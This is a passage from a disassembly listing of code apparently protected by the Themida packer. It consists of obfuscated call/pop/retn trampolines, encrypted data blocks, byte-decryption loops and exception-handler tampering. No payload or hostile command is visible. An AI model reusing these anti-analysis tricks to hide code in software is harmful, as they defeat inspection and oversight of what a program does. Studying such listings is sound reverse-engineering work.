		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_597ABA	endp

; ---------------------------------------------------------------------------
		rol	dword ptr [ebp+63h], 1
		retn
; ---------------------------------------------------------------------------
		stosb
		mov	edi, [ebp+6A80795h]
		mov	cx, ds
		or	edi, 833171Fh
		and	cl, 4
		push	0
		push	edi
		call	sub_597AEC
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_597AEC	proc near		; CODE XREF: Themida_:00597AE4p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_597AEC	endp

; ---------------------------------------------------------------------------
		xor	ch, [eax]
		mov	ch, 10h
		or	cl, cl
		jz	loc_597C23
		pusha
		jmp	loc_597B1C
; ---------------------------------------------------------------------------
		dw 3992h
		dd 3BC80AE2h, 548529F5h, 320148E9h
; ---------------------------------------------------------------------------


loc_597B1C:				; CODE XREF: Themida_:00597B09j
		movzx	ebx, cx
		popa
		mov	eax, [ebp+6A80BE1h]
		mov	di, bx
		xor	eax, [ebp+6A81D5Dh]
		push	0
		push	ecx
		call	sub_597B3A
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_597B3A	proc near		; CODE XREF: Themida_:00597B32p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ch
		inc	ecx
		push	ecx
		retn
sub_597B3A	endp

; ---------------------------------------------------------------------------
aTUFndvRkPflRj	db 'âÕž°”„¢ÀŠÚPf‹Ùj',0
; ---------------------------------------------------------------------------
		push	edx
		call	sub_597B66
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_597B66	proc near		; CODE XREF: Themida_:00597B5Ep

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_597B66	endp

; ---------------------------------------------------------------------------
		push	cs
		xor	[ebx+2B719D31h], ecx
		test	al, 6
		mov	edi, [ebp+6A82A91h]
		push	0
		push	0
		push	ebp
		call	sub_597B92
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_597B92	proc near		; CODE XREF: Themida_:00597B8Ap

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_597B92	endp

; ---------------------------------------------------------------------------
		dw 0ED95h
		dd 8665F7A0h, 1B1368E9h, 0DE8767Ah, 0F8000000h,	1DB2E0EAh
		dd 63486B77h, 0AA1FA414h, 5FFA8A51h, 2434815Bh,	766518ECh
		dd 74195FFh, 0BD3306A8h, 6A82535h, 0A2278589h, 6A06ABh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 636F7AC3h, 0FE876ADh, 12000000h, 6D08766Dh, 0E5EC96A4h
		dd 8926BFDEh, 9501883Dh, 6A82F61h, 1B4E95Bh, 81660000h
		db 0F7h, 0BBh, 0F2h
; ---------------------------------------------------------------------------


loc_597C23:				; CODE XREF: Themida_:00597B02j
		mov	eax, [ebp+6ABA21Fh]
		push	0
		push	edx
		call	sub_597C34
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_597C34	proc near		; CODE XREF: Themida_:00597C2Cp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_597C34	endp

; ---------------------------------------------------------------------------
		dd 0B98452F3h, 1800C78Dh, 0F000000h, 88Eh, 2880F00h, 60000000h
		dd 13F38061h, 0A223B58Bh, 0BD8B06ABh, 6A829D9h,	2B7D858Bh
		dd 0DE806A8h, 88000000h, 92654B8Eh, 90A1689Dh, 0E411EC62h
		dd 499D01h, 895B06A8h, 0A82F85BDh, 6A068906h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 4F15C350h, 490C1983h, 0F98B4CB2h, 0BE1858Bh,	6A06A8h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 0FCBB8AC3h, 0CCB6BF66h, 6A044689h, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 46DFC356h
		dd 2BA31E64h, 503B352Fh, 0CE8h,	0E7A1D00h, 0E98B0AB7h
		dd 1701A7B5h, 880FE2h, 5B000000h, 89243489h, 0A801A98Dh
		dd 1FB5FF06h, 6A06ABA2h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 0DB2AC351h,	1176C428h
		dd 0BDFBF0Fh, 0A80625BDh, 0B0BB6606h, 857F6852h, 6DBB3C6Fh
		dd 8170D1D7h, 86802434h, 0BD893C70h, 6A833D5h, 0A227858Dh
		dd 6A06ABh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 5D7B88C3h, 3CA8D13Fh, 800F50FBh, 5, 0CA817FBFh
		dd 24048950h, 0E9DF8166h, 4195FF74h, 5706A807h,	14E9h
		dd 10CCC700h, 9436F974h, 0A5C996BBh, 0AD206501h, 0A83A8465h
		dd 8B615B5Fh, 0A800659Dh, 0BD85C706h, 306A80Bh,	6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 7E3DC351h, 83F802FDh, 0ABA227BDh,	840F0006h
		dd 74h,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h
		dd 0BDC35141h, 0CF358B96h, 499509D1h, 8106A82Bh, 34C169E3h
		dd 5DE91Bh, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 190424h, 56460000h, 0E8610BC3h, 0FBB8444h, 1587h, 10E900h
		dd 0C3200000h, 10385111h, 0B83FAE20h, 0F375FC30h, 0DF81C46Bh
		dd 1DF8D31Fh
; ---------------------------------------------------------------------------


loc_597E84:				; CODE XREF: Themida_:00597A86j
					; Themida_:00597E9Bj
		push	eax
		xor	[ecx+edx], cl
		add	[ecx+edx+1], al
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], cl
		pop	eax
		sub	ecx, 4
		jnz	short loc_597E84
		jmp	short loc_597ED5
; ---------------------------------------------------------------------------


loc_597E9F:				; CODE XREF: Themida_:00597A6Aj
					; Themida_:00597EB6j
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_597E9F
		jmp	short loc_597ED5
; ---------------------------------------------------------------------------


loc_597EBA:				; CODE XREF: Themida_:00597A77j
					; Themida_:00597ED1j
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_597EBA
		jmp	short $+2


loc_597ED5:				; CODE XREF: Themida_:00597E9Dj
					; Themida_:00597EB8j
		mov	eax, eax
		push	0
		push	ebp
		call	sub_597EE2
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_597EE2	proc near		; CODE XREF: Themida_:00597EDAp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_597EE2	endp

; ---------------------------------------------------------------------------
		dw 0E59Bh
; ---------------------------------------------------------------------------
		xchg	eax, ebx
		jbe	short near ptr loc_597F1C+1
		inc	edx
		jg	short near ptr loc_597EFB+4
		stc


loc_597EFB:				; CODE XREF: Themida_:00597EF8j
		lds	ecx, [ecx-57CE5E63h]
		push	es
		mov	ebx, 4DCFBC08h
		cmp	dword ptr [ebp+6A80BBDh], 3
		jnz	loc_59830E
		push	0
		push	esi
		call	sub_597F1F


loc_597F1C:				; CODE XREF: Themida_:00597EF5j
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_597F1F	proc near		; CODE XREF: Themida_:00597F17p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_597F1F	endp

; ---------------------------------------------------------------------------
		db 0E5h
		dd 0EB294377h, 602798D8h, 0EFD68166h, 0BF0F6089h, 0E98166DBh
		dd 61619EF2h, 0A227BD83h, 0F0006ABh, 3B984h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 0FF044ED0h, 0ABA227B5h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 69C4B1FEh
		dd 20CB81F9h, 0FF1F5A8Ch, 0A815F995h, 52006A06h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
		dd 0E8327B87h, 0D59978FFh, 735BD89h, 0BF6606A8h, 0B58B17C9h
		dd 6ABA21Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 15h,	0B3C35646h, 106C7C8h, 6A000100h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 494EC351h
		dd 0CA84F5BCh, 878FE381h, 8B6611C4h, 965096D9h,	1318D29h
		dd 0B5FF06A8h, 6ABA227h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 19h, 88C35343h, 0FE256E1Fh, 9995FFEBh, 6606A821h
		dd 8B7C9CBBh, 0ABA21BB5h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 19229C34h
		dd 41858B0Dh, 8906A80Eh, 0A81FE1B5h, 0C4868906h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 834FC356h, 0B2490C19h, 0C55BD89h,	958B06A8h
		dd 6A805B9h, 1E999D8Bh,	0C28306A8h, 53006A04h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 39AD6CF0h
		dd 44E8610Bh, 5810Fh, 0F510000h, 895FFEBFh, 9D8B2050h
		dd 6A81DDDh, 0B7CE858Dh, 0BE906ABh, 7D000000h, 9FDC2628h
		dd 14547AA3h, 86893E67h, 0B8h, 0B77DDB81h, 6A260Bh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 83C35343h, 0F164AF9Dh
		dd 9E5E9DBh, 1D9D3320h,	0FF06A80Fh, 0ABA227B5h,	51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 59960B18h, 664644F2h, 0EC50E781h, 1E1D95FFh,	6A06A8h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 0E2F908C3h, 0D1D2E04Ah, 9D8B19A5h, 6A82BD5h,	34B750F5h
		dd 66243489h, 0C445DF81h, 0A227B5FFh, 858906ABh, 6A825D9h
		dd 2A6995FFh, 6A06A8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 79A2FFC3h, 8B4C7A6Bh, 83F9FA8Ah
		dd 0A82E3DBDh, 840F0006h, 0Ch, 7046BB66h, 89DF8B50h, 0D88B2434h
		dd 0A227B5FFh, 6A06ABh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 0FD2A8DC3h, 0CA4B8516h, 34BD9D29h
		dd 95FF06A8h, 6A83185h,	28B0F60h, 57000000h, 0FF61F85Eh
		dd 0ABA227B5h, 0F59D8B06h, 0FF06A813h, 0A80F5595h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 0B316436Eh, 0D0494A65h, 81667AE5h, 8360ACEBh, 0A8077DBDh
		dd 840F0206h, 41h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 18h, 3FC35242h, 353668CCh,	0D19858Bh, 858906A8h
		dd 6A81EF5h, 0E90000C6h, 0Dh, 1DF81138h, 485BA135h, 9829FE73h
		dd 0C185C7DEh, 6A80Dh, 6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 33B1C357h
		dd 58D444B8h, 810F8F08h, 6, 3079BD8Bh
; ---------------------------------------------------------------------------
		test	al, 6


loc_59830E:				; CODE XREF: Themida_:00597F0Ej
		jmp	near ptr dword_5973D4+2EAh
; ---------------------------------------------------------------------------
		mov	ebx, [ebp+6A80765h]
		mov	eax, ecx
		push	0
		push	eax
		call	sub_598326
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_598326	proc near		; CODE XREF: Themida_:0059831Ep

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 18h
		inc	eax
		push	eax
		retn
sub_598326	endp

; ---------------------------------------------------------------------------
		dw 0D08Dh
		dd 81EBC1B9h, 0B99EE7F7h, 85858D5Bh, 6A06A833h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 2C01C351h, 89B06384h, 0A8018D85h, 25BF5006h,	8948F6BBh
		dd 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 64E25BC3h, 0EAD0883Ah, 66A3D108h,	9F8ECB81h
		dd 6A006Ah, 13FDBD8Bh, 0FE8B06A8h, 0EAD5858Dh, 6A06ACh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 543B39C3h, 5C083F7h,	3D43E381h, 66905FD9h, 505539BBh
		dd 8A2896BBh, 6A9050h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 81C35141h, 0E51ECEDDh, 0BF6656F8h, 6A5F5B25h
		dd 0A5BD2B00h, 0E906A82Fh, 0Eh,	107CF68Bh, 0E9031EC4h
		dd 0D99E3C1Dh, 95FF1324h, 6A82541h, 1401BD8Bh, 8D8D06A8h
		dd 6AB8C7Fh, 0FFFFBF0Fh, 9DBD83D1h, 106A833h, 94850Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 909A6BC3h, 66F78105h, 6A6B4C50h, 51006A02h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 0B90B51C2h, 12E990FAh, 5C000000h, 0DF2EC1B2h, 0C51A07FAh
		dd 29079FA0h, 85F945A7h, 0F88B50E4h, 9D8B5190h,	6A831E9h
		dd 1D95FF5Bh, 6A06A81Eh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 0CC72C357h,	0F3CB44Dh
		dd 30E9DABFh, 0E800000Dh, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 6ACEADFh
		mov	bl, ah
		mov	[ebp+6A82AE5h],	edi
		lea	eax, [ebp+6AB7E2Eh]
		jl	loc_59850D
		mov	edi, [ebp+6A81795h]


loc_59850D:				; CODE XREF: Themida_:00598501j
		push	eax
		jnz	loc_59851E
		jg	loc_59851E
		mov	bx, 0B39Bh


loc_59851E:				; CODE XREF: Themida_:0059850Ej
					; Themida_:00598514j
		mov	[esp], eax
		push	large dword ptr	fs:0
		push	0
		push	ebx
		call	sub_598533
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_598533	proc near		; CODE XREF: Themida_:0059852Bp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_598533	endp

; ---------------------------------------------------------------------------
		cmpsd
		mov	ds:3AD26B51h, al
		jbe	short loc_5985AF
		mov	large ds:0, esp
		push	0
		push	edi
		call	sub_59855C
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59855C	proc near		; CODE XREF: Themida_:00598554p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_59855C	endp

; ---------------------------------------------------------------------------
		dd 0B7BD14FAh, 0FF1B5F73h, 0A833F185h, 0BE806h,	538F0000h
		dd 0A6418DABh, 410E5CD9h, 8DBD8921h, 5F06A80Fh,	9850Fh
		dd 0FC600000h, 3311BD89h, 6A6106A8h, 818D89FFh,	0FF06A831h
		dd 0A816FDB5h
; ---------------------------------------------------------------------------
		push	es
		push	0


loc_5985AF:				; CODE XREF: Themida_:00598549j
		push	ebp
		call	sub_5985B8
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5985B8	proc near		; CODE XREF: Themida_:005985B0p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_5985B8	endp

; ---------------------------------------------------------------------------
		dd 0E0224D9Ah, 0B2E6F37Ah, 2BB66D3h, 7D95FF6Ah,	0E906A82Ah
		dd 136h, 0BB6600B0h, 70E63F8Dh,	4FB9BB66h, 39BB71E4h, 3C5BF957h
		dd 1B830F61h, 0F000001h, 85h, 0FE86000h, 0DB000000h, 2246C578h
		dd 0D344956Bh, 0A9BA09DFh, 8D8BAF4Dh, 6A82A01h,	0C8BF0F5Fh
		dd 0C8B60F61h, 6A5BD23h, 853106A8h, 6A80FCDh, 6BAh, 6D853100h
		dd 8B06A80Ch, 459D89C1h, 0C106A801h, 0FC8A04E8h, 0FE2F766h
		dd 0C82BFAB7h, 97D9D8Bh, 0EE906A8h, 5E000000h, 2F0EE2D5h
		dd 919141DEh, 9C404241h, 0BFD18B8Eh, 35D62B0Fh,	0A1E9h
		dd 13E900h, 15230000h, 0D1D9259Bh, 0EABFF2E2h, 0A5EC56FDh
		dd 69EBA836h, 44858B1Bh, 605F4C4Ch, 0EDD8E4BFh,	0D985892Fh
		dd 6106A81Fh, 0EAD9D89h, 0C08306A8h, 9D8BF907h,	6A82651h
		dd 0F900C083h, 830FD03Bh, 0Fh, 25258D89h, 4FE906A8h, 66000000h
		dd 8B23EFBBh, 0FFFFFF8Dh, 0DE851FFh, 0D000000h,	8A7F013Fh
		dd 7B110D12h, 5300B754h, 5B5F5B53h, 0F01E183h, 2584h, 83DE8B00h
		dd 0FFFFFFA5h, 8E0FFEFFh, 6, 155BD8Bh, 958906A8h, 5F4C4C44h
		dd 88C78166h, 0E90Ah, 0B58D0000h, 6AC608Fh, 1840Fh, 0FF80000h
		dd 6AF8B7h, 0E850006Ah,	3, 58C35820h, 4244489h,	4244481h
		dd 1Dh,	9EC35040h, 0EC472DECh, 0BF49A384h, 1DBF663Bh, 3195FF45h
		dd 6606A81Bh, 0B94377BFh, 0F23h, 0E852006Ah, 3,	5AC35A20h
		dd 4245489h, 4244481h, 17h, 0C0C35242h,	3136C789h, 0A81009BDh
		dd 0FCE18306h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 18h,	0A6C35242h, 6E406420h, 8919B7BFh, 12E922h, 7B110000h
		dd 5300B754h, 0CBB785CAh, 0CFFFD56Dh, 2453BA7Bh, 6AC02BFCh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 9C5DC350h, 6BC764F5h, 0E9701A38h,	0Eh, 0E83361C4h
		dd 8CF4C4B6h, 1892EEE4h, 0D22BFACFh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 65C35545h, 983655A5h, 0F798D89h
		dd 9D8B06A8h, 6A82B85h,	0D1C233ADh, 83D003E8h, 0F47504E9h
		dd 0C1852957h, 5F06A82Bh, 0DF98B66h, 88h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 16h, 9C35747h, 0BF0FE6C9h
		dd 9D9D29FEh, 0E906A819h, 13h, 68857546h, 0EDA83839h, 65687135h
		dd 0EB58CD91h, 8B36B3F9h, 0A805B995h, 0F9BF0F06h, 14698D8Bh
		dd 6A06A8h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 0F9CB93C3h, 0F8C5A2D3h, 8B5007F1h, 3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 20D99509h, 0BD8306A8h
		dd 6A80C91h, 75840F00h,	0F000000h, 387h, 0F98B6600h, 0C99D8B51h
		dd 5B06A80Ch, 0B8h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 8C52AB02h, 9D8BF20Ah
		dd 6A830E5h, 4FAF8D8Dh,	6A06A8h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 13CAEC3h, 0EB8166DEh
		dd 9D8B0FDEh, 6A81F71h,	0C381E1FFh, 3A218825h, 0BBDBD83h
		dd 0F0006A8h, 42584h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 4C4C35F6h, 0B9D2D8D5h
		dd 0F9BD8B53h, 8306A833h, 0A80BBDBDh, 840F0106h, 409h
		dd 26D9D8Bh, 0BD8306A8h, 6A80BBDh, 0C0860F03h, 6A000003h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 0F202C350h, 0D34E799Fh, 0C5958909h, 6006A80Ch
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 95C35242h
		dd 45D8AE03h, 896034B4h, 0A80721BDh, 85336006h,	6A80D05h
		dd 8E0Fh, 61610000h, 80D98C66h,	0E18088C3h, 0DD9D8B04h
		dd 0F806A819h, 840FC90Ah, 169h,	12E9A9B3h, 12000000h, 176B94A6h
		dd 5610DEDCh, 93010B99h, 8CA09C12h, 0E1858BF0h,	6A06A80Bh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 7FDCC353h, 5D85333Fh, 0E906A81Dh,	0Bh, 0E17062ACh
		dd 44F57C71h, 50B8DD33h, 489DF8Bh, 53006A24h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 306B5F43h
		dd 18DAE269h, 0B11BD8Bh, 6A06A8h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 0FFC35343h,	2A4A4C8Bh, 0D08E3F94h
		dd 8F0F70h, 0F000000h, 4E8DBBFh, 0FF000000h, 52001F03h
		dd 5FFB8B66h, 24448B50h, 0F525004h, 5E931h, 6B00000h, 5A9AE318h
		dd 60008B58h, 0BB616060h, 15EE3E1Eh, 44896161h,	6A580424h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 0DA2EC356h, 4195FF5Ch, 2306A807h,	0A82B0DBDh
		dd 27858906h, 5106ABA2h, 0FE9h,	0B116C100h, 13A84EECh
		dd 13A289B5h, 8D5D1177h, 16DE95Fh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 9DBA65C3h
		dd 53C4F3C0h, 0FE98Eh, 0A3AA0000h, 4CCFFAD7h, 3E56BFCEh
		dd 0F9581BE8h, 1F858B12h, 0E806ABA2h, 0Ah, 0FDB59FDEh
		dd 0C8C66AC7h, 9D8BB807h, 6A81C09h, 1800C75Bh, 0F000000h
		dd 682h, 0D9D8B00h, 6606A832h, 0B58BDA8Bh, 6ABA223h, 23F9B70Fh
		dd 0A807B1BDh, 7D858B06h, 0F06A82Bh, 82h, 8B068900h, 0E1858BFEh
		dd 0F506A80Bh, 0E8044689h, 0Dh,	73A36620h, 36B68AEBh, 79C8D8BBh
		dd 0D88B66F1h, 0A1BD035Bh, 9606A81Ah, 96505F52h, 0A21FB5FFh
		dd 6A06ABh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 85B121C3h, 0FBBDF06Ch, 6824C466h,	0F1E9CCA4h
		dd 81FA8B66h, 375B2404h, 0D2BF0E35h, 8D0CEE4Eh,	0ABA22785h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 90A2491Ch, 90D88B50h, 1EB59D8Bh,	52BF06A8h
		dd 0FF386F6Eh, 0A8074195h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 0DC7A5BCBh
		dd 0A9831F93h, 6692BB66h, 6E8h,	0F9F5800h, 0E93D4855h
		dd 0Ah,	7EB23363h, 4CE6E584h, 615FFDD7h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 17h, 0BFC35646h, 8B9C6A85h
		dd 0A808399Dh, 0BD85C706h, 306A80Bh, 89000000h,	0A821218Dh
		dd 27BD8306h, 6ABA2h, 65840Fh, 6A0000h,	3E851h,	59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 64AAD5C3h
		dd 9D164542h, 0BD8B0004h, 6A81631h, 5465EF81h, 4BE948E6h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 0FE73C351h, 74DE9829h,	29AC8B9Fh
		dd 0A82D8185h, 0B1BD8B06h, 5006A807h, 110C30h, 0C1011144h
		dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h,	305036EBh
		dd 64001104h, 0E8C10111h, 11443010h, 11640002h,	0E9835803h
		dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
		dd 4300111h, 4E98311h, 0EBE775h, 0BF66C08Bh, 8589B93Bh
		dd 6A826C1h
		dd 6C99D8Bh, 14E906A8h,	62000000h, 45B2B821h, 0B6FC9B06h
		dd 3D0352C0h, 4B78B14Ah, 8352189Fh, 0A80BBDBDh,	850F0306h
		dd 3F5h, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 17h,	0E5C35747h, 83E57DE5h, 0ABA227BDh, 840F0006h, 3C9h
		dd 27B5FFF9h, 6A06ABA2h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 8383C352h, 15F995FFh
		dd 6A06A8h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 0F21650C3h, 1BB58B4Bh, 0F06ABA2h,	28Dh, 0C7F98B00h
		dd 1000106h, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 0ADD78001h, 4850Fh, 0BB660000h, 0BB96C048h
		dd 21CBD5D9h, 8F0F6050h, 0
; ---------------------------------------------------------------------------
		jmp	loc_598ECD
; ---------------------------------------------------------------------------
		db 30h,	0FDh, 0D4h
		dd 61626FD3h
; ---------------------------------------------------------------------------
		and	ebp, edi


loc_598EC2:				; CODE XREF: Themida_:00598EC9j
		sbb	ebx, [edi]
		wait
		cmpsd
		pop	ss
		cmp	dh, ah
		jns	short loc_598EC2
; ---------------------------------------------------------------------------
		db 74h
		db 0C6h
; ---------------------------------------------------------------------------


loc_598ECD:				; CODE XREF: Themida_:00598EB4j
		popa
		xchg	eax, esi
		push	0
		push	esi
		call	sub_598EDA
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_598EDA	proc near		; CODE XREF: Themida_:00598ED2p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_598EDA	endp

; ---------------------------------------------------------------------------
		inc	eax
		or	[edi-4976BEDAh], al
		stosd
		inc	esi
		add	[ebp+6A82899h],	ecx
		mov	edi, 0E149214h
		push	dword ptr [ebp+6ABA227h]
		or	[ebp+6A83279h],	eax
		mov	ebx, [ebp+6A81019h]
		call	dword ptr [ebp+6A82199h]
		push	0
		push	ecx
		call	sub_598F21
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_598F21	proc near		; CODE XREF: Themida_:00598F19p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_598F21	endp

; ---------------------------------------------------------------------------
		db 97h,	7Dh, 0AFh
; ---------------------------------------------------------------------------
		les	ebx, [edi-1Eh]
		mov	esi, [ebp+6ABA21Bh]
		push	0
		push	eax
		call	sub_598F48
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_598F48	proc near		; CODE XREF: Themida_:00598F40p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_598F48	endp

; ---------------------------------------------------------------------------
		dec	eax
		mov	ch, 8Bh
		test	[ecx+0Eh], eax
		test	al, 6
		push	0
		push	edi
		call	sub_598F6B
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_598F6B	proc near		; CODE XREF: Themida_:00598F63p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_598F6B	endp

; ---------------------------------------------------------------------------
		add	eax, 61BE4094h
		movsd
		imul	ecx, ds:85896056h, 6A83351h
		mov	[ebp+6A834C9h],	esi
		popa
		mov	[esi+0C4h], eax
		mov	[ebp+6A828A5h],	edi
